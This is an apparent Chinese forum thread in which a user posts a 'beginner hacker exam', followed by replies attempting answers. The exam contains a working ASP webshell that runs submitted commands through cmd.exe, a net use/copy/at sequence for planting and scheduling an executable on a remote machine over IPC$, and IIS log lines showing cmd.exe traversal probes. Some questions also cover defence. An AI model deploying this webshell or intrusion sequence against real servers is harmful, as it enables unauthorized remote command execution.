[原创]黑客初级考试卷

大家好！我是隐龙轩流星蝴蝶剑客9.07版本女玩家suming，
首先非常欢迎大家的到来，以下内容是 黑客初级考试的试卷，希望大家认真的答好每一到题目（提示：1、请大家根据自己的水平操作，切勿抄袭！2、请大家把试卷内容复制到本地进行答卷，答好之后写上你的QQ号码和网络名字，将答案发到我的邮箱当中，我的邮箱是：s***@yeah.net 如果达到60分以上的朋友，将直接邀请他加入 黑客小学 这个群！！~~~~~~~~~

黑客初级考试卷

黑客初级考试卷））　有兴趣的来看看！顺便测试一下自已真正的水平哟！??
一、
http://192.168.0.1 （5分）
http://xyz.3322.org
http://3232235521
三个连接指向同一目标网站，那么它们分别是什么意义？

二、
常用端口识别 （指出以下端口有什么用途） （5分）
20 21 23
25 80 110
139 443 445

三、
试述下列命令作用 （10分）
c:\>net use \\211.87.194.121\ipc$ “123456”/user:”administrator”
c:\>net use z: \\211.87.194.121\c$
c:\>net time \\211.87.194.121
c:\>copy abc.exe \\211.87.194.121\admin$\system32

四、
试述下列命令的区别，如何防止该命令在本地或远程运行 （5分）
c:\>at \\211.87.194.121 21:05 abc.exe
c:\>at 21:05 \\211.87.194.121\admin$\system32\abc.exe

五、
W3SVC日志是什么？分析下面这段日志。 （5分）
2002-11-24 11:38:54 211.87.67.76 - 211.87.215.81 80 GET /MSADC/root.exe /c+dir 403 -
2002-11-24 11:38:54 211.87.67.76 - 211.87.215.81 80 GET /c/winnt/system32/cmd.exe /c+dir 401 -
2002-11-24 11:38:54 211.87.67.76 - 211.87.215.81 80 GET /d/winnt/system32/cmd.exe /c+dir 401 -
2002-11-24 11:38:54 211.87.67.76 - 211.87.215.81 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 401 -
2002-11-24 11:38:54 211.87.67.76 - 211.87.215.81 80 GET /HEAD 200 -
分析我酌情给分。

六、
netstat命令有何作用，举出两个参数进行说明。（5分）

七、
试述木马的一些基本特征。 （5分）

八、
如何利用脚本实现对ftp的自动操作？ （5分）

九、
下面是一个ASP木马，请找出支持这一程序的关键点。 （15分）
<%@ Language=VBScript %>
<%

Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile

On Error Resume Next

Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

szCMD = Request.Form(".CMD")
If (szCMD <> "") Then

szTempFile = "C:\" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>

 
<% 
If (IsObject(oFile)) Then 
On Error Resume Next 
Response.Write Server.HTMLEncode(oFile.ReadAll) 
oFile.Close 
Call oFileSys.DeleteFile(szTempFile, True) 
End If 
%> 
 
 

十、 
存在IIS或CGI漏洞，并对脚本有执行权限，如何进行入侵？（只要求叙述到如何上传文件，其他思路会酌情给分） 
那么，如何在不打补丁的情况下避免这种攻击的发生？ （10分） 

十一、OSI模型中哪一层上有协议？分别是什么？ （5分） 

十二、观察ping命令的返回包的TTL值，可以了解到什么？ （5分） 

十三、从网关得到采样 （10分） 
目标 IP 192.168.0.1 端口80 源 IP　192.168.0.3 端口 3646 
目标 IP 192.168.0.1 端口80 源 IP　192.168.0.3 端口 3647 
目标 IP 192.168.0.1 端口69 源 IP　192.168.0.3 端口 69 
请问 这可能是什么样的会话，采用什么协议，进行什么样的作业？ 

十四、谈谈你对hacker和网络安全的认识（10分）

最后祝大家的水平越来越好！！（Suming）

额,好难啊,按就会几个题,我还是多努力学习黑客技术,顶一下

完全看不懂

0分了................

完全不懂

第三题第一个以超管的账户与对方建立 IPC链接第二个把对方C盘映射为本地Z盘第三个察看对方时间 第四个 复制本地的abc.exe到对方的超管账户下的system32 文件夹下 第六题
如netstat -a 查看开启了哪些端口 netstat -n 查看端口的网络连接情况 第12题 通过TTL值看出对方操作系统 UNIX 及类 UNIX 操作系统的TTL值为255 Compaq Tru64 5.0的TTL值为 64 微软 Windows NT/XP的为128 不过TTL值可通过修改注册表修改!额-.-! 俺就会这些了!

楼上黑客生涯有前途...........

一、
第一个是IP地址，第二个是域名 第三个实在不知道是啥

二、
20（大概是个传文件的） 21（FTP） 23 （TELNET）
25（SMTP） 80（HTTP服务） 110 （POP3）
139（NETBIOS-Session） 443（跟HTTP有关） 445 （Microsoft-DS）

三、
c:\>net use \\211.87.194.121\ipc$ “123456”/user:”administrator”
在211.87.194.121 IP与本机之间建立IPC$连接，此连接使用名称为administrator的用户，密码是123456
c:\>net use z: \\211.87.194.121\c$
将那个IP的C盘映射到本机Z盘
c:\>net time \\211.87.194.121
查看那IP上的时间
c:\>copy abc.exe \\211.87.194.121\admin$\system32
将c:\abc.exe拷贝到那个IP系统目录下的SYSTEM32目录下

四、
c:\>at \\211.87.194.121 21:05 abc.exe
在那个IP 21：05的时候运行abc.exe
c:\>at 21:05 \\211.87.194.121\admin$\system32\abc.exe
在21：05的时候运行那个IP系统目录下SYSTEM32目录下的abc.exe

关闭Task Scheduler服务

五、
……这5分我不要了，那日志不知道是啥而且这个我也讲不清楚

六、
netstat命令有何作用，举出两个参数进行说明。（5分）

netstat命令的功能是显示网络连接、路由表和网络接口信息
-a 是显示所有套接字
-n 以网络IP地址代替名称，显示出网络连接情形
（就用过这俩参数）
七、
试述木马的一些基本特征。 （5分）

隐蔽性，非授权性，危害性
八、
如何利用脚本实现对ftp的自动操作？ （5分）

写相应的批处理文件

九、
下面是一个ASP木马，请找出支持这一程序的关键点。 （15分）

一点都不懂

十、
存在IIS或CGI漏洞，并对脚本有执行权限，如何进行入侵？（只要求叙述到如何上传文件，其他思路会酌情给分）
那么，如何在不打补丁的情况下避免这种攻击的发生？ （10分）
不懂

十一、OSI模型中哪一层上有协议？分别是什么？ （5分）
不懂

十二、观察ping命令的返回包的TTL值，可以了解到什么？ （5分）
一般可以了解到对方的操作系统
比如Windows NT/2K操作系统 TTL 字段值为 128
但是可以通过改注册表来修改

十三、从网关得到采样 （10分）
目标 IP 192.168.0.1 端口80 源 IP　192.168.0.3 端口 3646
目标 IP 192.168.0.1 端口80 源 IP　192.168.0.3 端口 3647
目标 IP 192.168.0.1 端口69 源 IP　192.168.0.3 端口 69
请问 这可能是什么样的会话，采用什么协议，进行什么样的作业？

第一二个说明是0.3这台机器用HTTP协议在浏览0.1这机器上的网页
第三个说明0.3这机器使用TFTP协议与0.1机器传文件

十四、谈谈你对hacker和网络安全的认识（10分）
hacker不是圈外人心中所想象的那种 盗QQ，盗网游号，种木马，制造病毒的人，hacker对技术有着非常执着的追求并且有自己的道德观，不会做这种低级的事，hacker们追求的是自由平等，共享突破。现在国内的网络安全界普遍存在着错误的认识即谁黑站黑得多黑得大谁就厉害，于是不少中小黑客黑国内的站点，大黑客们对国外发动黑客大战 黑国外的站点，到头来吃亏的都是自己，中国的网络安全路还很长

六楼百度的，鉴定完毕不然你能说出Compaq Tru64 5.0是什么系统么
我以前学过但是有几年没搞了不太记得了不想现在连初级都算不上了

哈哈,Tru64是类似与Unix操作系统,我是从黑客手册上看的,其实我也不知道是什么操作系统,至于黑客手册,迅雷上多的是,自己到迅雷上看看吧!

Tru64是Compaq公司开发的,其他的俺就不知道了.

饿系0分

我就说你是百度的
据说linux里面还是ubuntu比较好

随你怎么说了!你怎么不说我是谷歌的呢？

路过水下:(玩笑的说)

以上两位都不合格,据楼主所述是要发到邮箱的说,你们这样跟贴,后面的答案就失去意义了